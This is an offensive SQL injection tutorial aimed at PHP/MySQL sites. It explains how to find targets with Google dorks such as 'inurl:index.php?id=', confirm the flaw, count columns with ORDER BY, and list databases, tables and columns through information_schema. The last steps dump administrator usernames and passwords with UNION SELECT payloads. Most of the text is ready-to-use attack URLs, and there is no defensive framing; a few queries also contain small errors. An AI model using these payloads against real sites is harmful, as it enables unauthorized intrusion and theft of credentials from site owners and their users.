Introduction: SQL injection is an attack in which
malicious code is inserted into strings to hack a computer and that are later passed to an
instance of SQL Server for parsing and execution.
Finding Sites: When talking to find a vulnerable
site for SQL Injection you will hear the term Dork a lot, this refers to
a google search term targeted at finding vulnerable websites. An
example of a google dork is inurl:index.php?id=, entering this string in
google search engine would return all sites from google cache with the
string
news.php?id= in their URL.
Ex:
http://www.site.com/news.php?id=4
To be a SQL injection vulnerable a site has to have a
GET parameter in the URL.
In
http://www.site.com/news.php?id=4, id=4 is the
GET parameter as it is getting the id=4 from the backend database.
Checking Vulnerability: To check if the site is vulnerable to SQLi
the most common way is to just add an apostrophe( ‘ ) after one of the
parameter in the URL.
Ex:
http://www.site.com/news.php?id=4′
Now if the site is vulnerable it will show error like:
You have an error in your SQL Syntax
Warning: mysql_num_rows()
Warning: mysql_fetch_assoc()
Warning: mysql_result()
Warning: mysql_fetch_array()
Warning: mysql_numrows()
Warning: mysql_preg_match()
If you see any of these errors when entering ‘ after the number or
string of parameter then the chances are the site is vulnerable to SQLi
attacks to some extent. Although that is not the only way to know if the
site is vulnerable to SQLi attacks, an error can be in form of when a
part of the site is just simply disappears such as a news article, body
text or images. If this happens then the site is vulnerable also.
Finding number of columns: After you find that the site is vulnerable
the next step is to find the number of columns in the table that is in
use. There are couple of ways to do this like
ORDER BY or
GROUP BY. Here I will use
ORDER BY To find the number of columns start with
ORDER BY 1.
Ex.
http://www.site.com/news.php?id=4 ORDER BY 1–
If it doesn’t error then probably you can use
ORDER BY command. Sometimes you will get error on doing
ORDER BY 1, if it gives error then simple move on to other site. If it doesn’t error then I always go to
ORDER BY 10000 (because a table can’t have 10000 columns in it) to see if it give error.
Ex.
http://www.site.com/news.php?id=4 ORDER BY 10000–
Sometimes it doesn’t error as it should, then I use AND 1=0 before the
ORDER BY query to get an error.
Ex.
http://www.site.com/news.php?id=4 AND 1=0 ORDER BY 10000–
After getting the error on 10000 its up to you how you find the
number of columns, I start with 100 and divide the no of columns by 2
until i get closer. Something like this:
http://www.site.com/news.php?id=4 ORDER BY 100–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 50–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 25–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 12–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 6–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 3–
NO ERROR
As 6 is giving error and 3 is not the number of columns is either 3, 4 or 5.
http://www.site.com/news.php?id=4 ORDER BY 4–
NO ERROR
http://www.site.com/news.php?id=4 ORDER BY 5–
ERROR
After this you can conclude that the website has 4 columns as it gives error above
ORDER BY 4 and doesn’t error below
ORDER BY 4.
NOTE: Comments are not necessary every time when injecting a website, although sometimes they are. Possible comments to use are:
–
/*
/**/
#
Getting MySQL version: This is an important step
because if the MySQL version is lower than 5 then we have to guess the
name of the tables and columns to inject which is sometimes get
frustrating so I would recommend to work on version 5 for beginners.
Before finding the version of the column we have to find the visible
column number to inject our query to get result. To do this we will use
the SELECT statement and
UNION ALL statement.
http://www.site.com/news.php?id=4 UNION ALL SELECT 1,2,3,4–
It will return numbers back in data place, if it doesn’t then add a
negative sign after the equals sign, put a null in place of the number
after the equal sign or add AND 1=0 before the
UNION query.
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,3,4–
http://www.site.com/news.php?id=null UNION ALL SELECT 1,2,3,4–
http://www.site.com/news.php?id=4 AND 1=0 UNION ALL SELECT 1,2,3,4–
Now say we got back the number 3, so this is the column that we can
retrieve data from. To get the database version there are two ways
either
version() or @@version, let’s use them:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(version()),4–
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(@@version),4–
If you get an error like “Illegal mix of coallations when using
@@version“, then you have to convert it into latin from UTF8 as:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(@@version using latin1),4–
NOTE: We are completely replacing the number 3 with our query, something like
1,2,group_concat(@@version),3,4– will result in error.
If it worked you will get the version of MySQL. You will see
something like 5.0.45, 5.0.13-log, 4.0.0.1 etc. All we need to focus is
on the first number,i.e., 4 or 5. If it is 5 then keep going but if it
is 4 and you are new then you should move on to other website because we
have to guess the table names in order to extract the data.
NOTE: Sometime you will get frustrated by knowing
that you spent 5-10 minutes in just getting the database version after
applying the
ORDER BY, UNION SELECT and version() in
queries and the result is MySQL4. So to save my time in getting the
database version, I use the Inferential(Blind SQL Injection) to get the
version of the MySQL. Do as follows:
http://www.site.com/news.php?id=4 AND 1=1–
NO ERROR
http://www.site.com/news.php?id=4 AND 1=2–
ERROR
http://www.site.com/news.php?id=4 AND substring(@@version,1,1)=4–
If page come back true then the version is 4.
http://www.site.com/news.php?id=4 AND substring(@@version,1,1)=5–
If page come back true then the version is 5.
If version is 5 then you can start
ORDER BY and
continue because you already know that the version is 5 and you will not
have to guess the table names. Although I would recommend that
beginners should use
ORDER BY.
GETTING NAME OF DATABASES: Getting databases name is
very important because sometimes the current database the webpage is
running does not contains useful informations such as username and
passwords. So it is good to have a look at all the databases. In MySQL
version 5 or higher there is always a database named
‘information_schema’ which make SQL injection easier. To get the list of
the databases use this:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(schema_name),4 from information_schema.schemata–
now you will get the name of all the databases at the same position where you saw the version of MySQL before.
Ex: information_schema,db_site,db_main
To know which database you are working upon use database() in the query as:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(database()),4–
Now you will get the current database. Ex: db_site
To know the current user of database use user(), although its not necessary but its good to know.
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(user()),4–
Now you should get the current user of database. Ex: user@localhost.
To save your time you can use a query to display version, current database and user all at once as:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(version(),0x3a,database(),0x3a,user()),4–
or
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,CONCAT_WS(CHAR(32,58,32),version(),database(),user()),4–
Getting Table Names: It is good habit to check the table name of all
the databases because sometimes the current database does not contains
useful information.
To get the table names of current database:
http://www.site.com/news.php?id=-4 UNION ALL SELECT
1,2,group_concat(table_name),4 from information_scheme.tables where
table_schema=database()–
Assume it gave you the following names of the tables contains in the current database(in our example db_site).
Ex. News, Gallery, Games etc.
As you can see it is not looks useful, so get the table names of other
database(in our example db_main), but to do so you have to encode the
name of the database in hexadecimal form and put ’0x’ in front of the
encoded hexed name to tell the database that it is hex encoded and and
it need to be decoded it to get the right name. In our example we need
to get the table name of database ‘db_main’ after encoding it to hex it
is equivalent to ’64625f6d61696e’. To get the table names of the
database ‘db_main’:
http://www.site.com/news.php?id=-4 UNION ALL SELECT
1,2,group_concat(table_name),4 from information_schema.tables where
table_schema=0x64625f6d61696e–
It will give you the name of all tables in the database ‘db_main’.
Ex: newsletters, posts, Administrator
Now we can see that this is a good stuff.
NOTE: Online Text to Hex converter:
http://www.swingnote.com/tools/texttohex.php
Getting Column Names: Now to extract data from table Administrator we need to find the columns in it. To get this you would do:
http://www.site.com/news.php?id=-4 UNION ALL SELECT
1,2,group_concat(column_name),4 from information_schema.columns where
table_name=0x41646d696e6973747261746f72–
NOTE: We replace ‘
information_schema.tables‘ with ‘
information_schema.columns‘ and ‘
table_schema‘ with ‘
table_name‘. Again we encoded ‘
Administrator’ in
Hex to get our query work.
Now you should see the column names.
Ex:
Id,Username,Password
Now to extract data from columns ‘
Id,Username,Password‘ of table ‘
Administrator‘ of database ‘
db_main‘, you would do:
http://www.site.com/news.php?id=-4 UNION ALL SELECT
1,2,group_concat(CONCAT_WS(CHAR(32,58,32),Id,Username,Password)) from
db_main.Administrator–
Sometimes it will not work then you have to encode ‘
db_main.Administrator‘ into
hex:
http://www.site.com/news.php?id=-4 UNION ALL SELECT
1,2,group_concat(CONCAT_WS(CHAR(32,58,32),Id,Username,Password)) from
0x64625f6d61696e2e41646d696e6973747261746f72–
Now you will get what you were looking for.
Enjoy...